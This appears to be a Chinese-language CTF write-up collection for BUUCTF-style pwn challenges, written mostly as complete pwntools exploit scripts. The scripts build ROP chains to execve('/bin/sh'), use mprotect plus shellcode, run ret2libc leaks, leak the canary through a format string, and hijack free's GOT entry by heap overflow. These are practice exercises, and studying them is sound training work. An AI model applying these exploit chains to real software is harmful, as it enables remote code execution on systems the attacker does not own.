wustctf2020_getshell
现在还有这种简单题吗???
picoctf_2018_buffer overflow 1
没想到还有这么简单的题!
并发现了后门函数!
cmcc_simplerop
函数逻辑比较简单。
这里经过调试,发现padding为0x20
寻找一些又用的gadget。
使用SROP来进行攻击!
from pwn import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',28123)
#r = process('./simplerop')
elf = ELF('./simplerop')
main = elf.symbols['main']
read_addr = elf.symbols['read']
int80 = 0x080493e1
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
buf = 0x080EA060
r.recvuntil("Your input :")
payload = b'a'*0x20+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(buf)+p32(8)#将/bin/sh传入data段
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(buf)+p32(pop_eax)+p32(0xb)+p32(int80)#调用execve
r.sendline(payload)
gdb.attach(r)
r.send(b'/bin/sh\x00')
r.interactive()
当然也可以使用
ROPgadget --binary simplerop --ropchain
此命令可以帮助我们找到一条ROP链子!
不过工具的链子较长,无法正常使用!
当然还有一种方法!使用mprotect该函数开辟一段可执行可读可写的空间!
int mprotect(const void *addr, size_t len, int prot);
第一个是开辟的地址起始位置,需要和内存页对齐,也就是能被0x1000整除;第二参数也需要是内存页的整数倍;第三个是开辟的内存属性,7代表可读可写可执行。
from pwn import *
from pwnlib.adb.adb import shell
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',27575)
#r = process('./simplerop')
elf = ELF('./simplerop')
mprotect = elf.symbols['mprotect']
read_addr = elf.symbols['read']
pop_edx_ecx_ebx = 0x0806e850
code = 0x80e9000
shellcode = asm(shellcraft.sh())
r.recvuntil("Your input :")
payload = b'a'*0x20+p32(mprotect)+p32(pop_edx_ecx_ebx)+p32(code)+p32(0x1000)+p32(0x7)
payload += p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(code)+p32(len(shellcode))+p32(code)
r.sendline(payload)
#gdb.attach(r)
r.send(shellcode)
r.interactive()
inndy_rop
和上面的一题一样,均为静态链接ROP;给出了一个get函数!
picoctf_2018_buffer overflow 2
函数逻辑比较简单!
存在一个后门函数!
mrctf2020_shellcode
xdctf2015_pwn200
很简单的ret2libc!
from elftools.construct import lib
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',27300)
#r = process('./bof')
elf = ELF('./bof')
main = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
r.recvuntil("Welcome to XDCTF2015~!\n")
payload = b'a'*(0x6c+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
log.info("write_addr -> "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr-libc.dump('write')
system = libc.dump('system')+libc_base
sh = libc.dump('str_bin_sh')+libc_base
payload = b'a'*(0x6c+0x4)+p32(system)+p32(0)+p32(sh)
r.sendline(payload)
r.interactive()
stack"安洵杯"
pwn保护全开!
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
r = remote('47.108.195.119',20113)
#r = process('./ezstack')
elf = ELF('./ezstack')
system = elf.plt['system']
main = elf.symbols['main']
pop_rdi = 0x0b03
sh = 0x0B24
r.recvuntil("[0m\n")
r.sendline("望权栈")
r.recvuntil("[0m\n")
r.sendline("菜pwn")#检查机制
payload = b'aaab'+b'%17$p'#17 is main,13 is _libc_start_main
payload = payload.ljust(0x20-0x8,b'a')+b'g'
#gdb.attach(r)
r.send(payload)
r.recvuntil('0x')
main_addr = int(r.recv(12),16)#-243
log.info("main_addr -> "+hex(main_addr))
r.recvuntil(b'g')
canary = u64(r.recv(7).rjust(8,b'\0'))
log.info("canary -> "+hex(canary))
base = main_addr-main
pop_rdi += base
system +=base
sh += base
log.info("system -> "+hex(system))
payload = b'a'*0x18+p64(canary)+p64(0)+p64(pop_rdi)+p64(sh)+p64(system)+p64(main)
r.send(payload)
#gdb.attach(r)
r.interactive()
babyfengshui_33c3_2016
各个模块分析:
(char *)(length + *(_DWORD *)node[a1]) >= (char *)node[a1] - 4
该判断为node[a1](也就是node_text的地址)>=node地址-0x4,也就是初始地址。
但是malloc是先申请node_text,然后申请node_name的。所以Free之后申请的较大的chunk会相差物理地址较大,便存在溢出了!
故此时我们便可以利用堆溢出来对free_got进行劫持,泄露出libc并修改free_got为system,然后free("/bin/sh");即为执行system("/bin/sh");
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',26690)
#r = process('./babyfengshui_33c3_2016')
elf = ELF('./babyfengshui_33c3_2016')
free_got = elf.got['free']
def Allocate(size,payload):
r.sendlineafter("Action: ",'0')
r.sendlineafter("size of description: ",str(size))
r.sendlineafter("name: ",b'/bin/sh\x00')
r.sendlineafter("text length: ",str(len(payload)))
r.sendlineafter("text: ",payload)
def Free(index):
r.sendlineafter("Action: ",'1')
r.sendlineafter("index: ",str(index))
def Show(index):
r.sendlineafter("Action: ",'2')
r.sendlineafter("index: ",str(index))
def Edit(index,payload):
r.sendlineafter("Action: ",'3')
r.sendlineafter("index: ",str(index))
r.sendlineafter("text length: ",str(len(payload)))
r.sendafter("text: ",payload)
def Exit():
r.sendlineafter("Action: ",'4')
Allocate(0x80,'a')#0
Allocate(0x80,'b')#1
Allocate(0x80,'/bin/sh\x00')#2
Free(0)
Allocate(0x100,'d')#3
payload = b'a'*(0x108+0x4)+p32(0x89)+b'b'*(0x80+0x4)+p32(0x89)+p32(free_got)
Edit(3,payload)
Show(1)
r.recvuntil("description: ")
free_addr = u32(r.recv(4))
log.info("free_addr -> "+hex(free_addr))
libc = LibcSearcher('free',free_addr)
libc_base = free_addr-libc.dump('free')
system = libc_base+libc.dump('system')
sh = libc_base+libc.dump('str_bin_sh')
Edit(1,p32(system))
Free(2)
#gdb.attach(r)
#pause()
r.interactive()
bbys_tu_2016
简单的栈溢出,并且存在后门函数!唯一的难点就是偏移量需要动态调试才可以确定!